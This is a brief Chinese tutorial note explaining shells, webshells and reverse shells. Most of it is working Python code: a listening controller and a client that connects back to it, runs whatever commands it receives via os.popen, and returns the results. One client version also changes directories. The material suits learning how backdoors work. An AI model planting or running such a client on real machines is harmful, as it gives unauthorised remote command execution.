shell就是一个命令执行环境,在windows系统下可以认为shell就是cmd
webshell就是通过浏览器输入命令,在远程电脑上执行
反弹shell就是控制者作为服务器使用,被控制者作为客户端使用
python执行系统命令,os subprocee
os.popen(command+” 2>&1”).read() 2>&1可以把出错信息解读出来
- 在控制者电脑上启动服务器程序,开放一个端口监听
- 被控制者启动客户端程序,与服务器的开放端口建立TCP连接
- 控制端发送指令到客户端
- 客户端执行指令并把执行结果送回控制端
- 重复3、4可以实现无限控制
远程控制
服务器
#远程控制服务器
import socket
s=socket.socket()
s.bind(('0.0.0.0',3333))
s.listen(1)
sock,addr=s.accept()
while 1:
command=input("指令:")
if command=="":
break
sock.send(command.encode())
result=sock.recv(65536).decode()
print(result)
sock.close()
s.close()
客户端
#远程控制客户端
import socket
import os
s=socket.socket()
s.connect(("127.0.0.1",3333))
while 1:
try:
command=s.recv(1024).decode()
result=os.popen(command+" 2>&1").read()
if result=="":
result="命令执行完毕!"
cdir=os.getcwd()
data=f"当前目录是{cdir}\n执行结果:{result}"
s.send(data.encode())
except:
s.close()
exit()
远程控制客户端并且能切换目录
#远程控制客户端 带切换目录功能
import socket
import os
s=socket.socket()
s.connect(("127.0.0.1",3333))
while 1:
try:
command=s.recv(1024).decode()
if command[:2]=="cd":
newdir=command[2:].strip()
if newdir:
os.chdir(newdir)
result=os.popen(command).read()
if result=="":
result="命令执行完毕!"
cdir=os.getcwd()
data=f"当前目录是{cdir}\n执行结果:{result}"
s.send(data.encode())
except:
s.close()
exit()
扫描二维码关注公众号,回复:
8601294 查看本文章